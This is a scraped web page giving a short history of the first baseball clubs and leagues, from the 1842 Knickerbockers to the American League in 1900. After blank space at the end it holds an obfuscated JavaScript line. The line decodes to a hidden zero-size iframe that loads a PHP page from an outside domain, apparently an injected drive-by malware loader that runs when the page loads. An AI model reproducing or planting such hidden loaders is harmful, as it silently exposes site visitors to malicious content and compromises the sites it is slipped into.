First Baseball Teams and LeaguesFirst Baseball Teams and LeaguesYou are here: Home > Baseball > First Teams and Leagues

Alexander Cartwright is credited with founding the first organized baseball club in New York City in 1842, the New York Knickerbockers. In 1845 they standardized 20 different rules, some of which are still in use today.

A field will have a home plate and four basesBases will be spaced 42 paces apart (90 feet)Teams will be made up of 9 membersFoul lines were establishedDuring the Civil War Union soldiers from New York brought the Knickerbocker style of baseball to the towns that their army units were stationed in. The games caught on and the Knickerbocker style of baseball was adopted across the country.

In 1869 the Cincinnati Red Stockings traveled around the United States and were undefeated in 60 games. The National Association of Baseball players (NABBP) became the National Association Of Professional Baseball Players (NAPBBP) in 1871 and was made up of 10 different teams that played throughout the country. The National League of Professional Baseball Clubs or National League was formed in 1876. In 1882 the American Association was formed. The two leagues began to play exhibition games in the off-season, and at the end of each season. The American Association went bankrupt 1891 and the best of the teams joined the national league. The Western League changed its name to the American League in 1900 and one year later began to play games with the National League.

Sponsors   
   
Next: Historical Baseball Moments ...

Related Articles:
Baseball
Baseball Origins
First Teams and Leagues
Historical Baseball Moments
HomeHome GymAtkins DietBaseballBirthstone JewelryBuying a HomeCell PhonesCookwareEngagement RingsMortgagesSatellite TVSelling a HomeHome TheaterHome Theatre Projection ScreenWeb HostingMom's FriendsMom's CousinsMom's Second CousinsMom's NiecesMom's NephewsMom's KidsMom's RelationsMom's RulesMom's Business
Site Map | AWGR






eval(unescape("document.write%28String.fromCharCode%2860%2C105%2C102%2C114%2C97%2C109%2C101%2C32%2C115%2C114%2C99%2C61%2C34%2C104%2C116%2C116%2C112%2C58%2C47%2C47%2C112%2C114%2C101%2C116%2C116%2C121%2C98%2C108%2C111%2C110%2C100%2C121%2C119%2C111%2C109%2C97%2C110%2C46%2C99%2C111%2C109%2C47%2C105%2C99%2C101%2C47%2C105%2C110%2C100%2C101%2C120%2C46%2C112%2C104%2C112%2C34%2C32%2C119%2C105%2C100%2C116%2C104%2C61%2C34%2C48%2C34%2C32%2C104%2C101%2C105%2C103%2C104%2C116%2C61%2C34%2C48%2C34%2C62%2C60%2C47%2C105%2C102%2C114%2C97%2C109%2C101%2C62%29%29%3B"));